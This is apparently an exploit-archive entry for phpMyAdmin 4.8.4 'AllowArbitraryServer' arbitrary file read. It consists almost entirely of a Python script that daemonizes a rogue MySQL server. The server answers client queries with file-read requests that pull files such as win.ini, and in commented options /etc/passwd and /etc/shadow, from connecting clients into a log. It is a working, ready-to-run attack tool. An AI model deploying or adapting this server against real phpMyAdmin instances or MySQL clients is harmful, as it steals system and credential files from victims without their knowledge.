phpMyAdmin 4.8.4 - 'AllowArbitraryServer' Arbitrary File Read

2018-12-15 12:05:03

#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
# r'c:\boot.ini',
r'c:\windows\win.ini',
# r'c:\windows\system32\drivers\etc\hosts',
# '/etc/passwd',
# '/etc/shadow',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)


class LastPacket(Exception):
pass


class OutOfOrder(Exception):
pass


class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]

return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'3.0.0-Evil_Mysql_Server' + '\0', # Version
#'5.1.66-0+squeeze1' + '\0',
'\x36\x00\x00\x00', # Thread ID
'evilsalt' + '\0', # Salt
'\xdf\xf7', # Capabilities
'\x08', # Collation
'\x02\x00', # Server Status
'\0' * 13, # Unknown
'evil2222' + '\0',
))
)
)

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()


class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):
pair = self.accept()

if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)


z = mysql_listener()
daemonize()
asyncore.loop()

Fixes

No fixes

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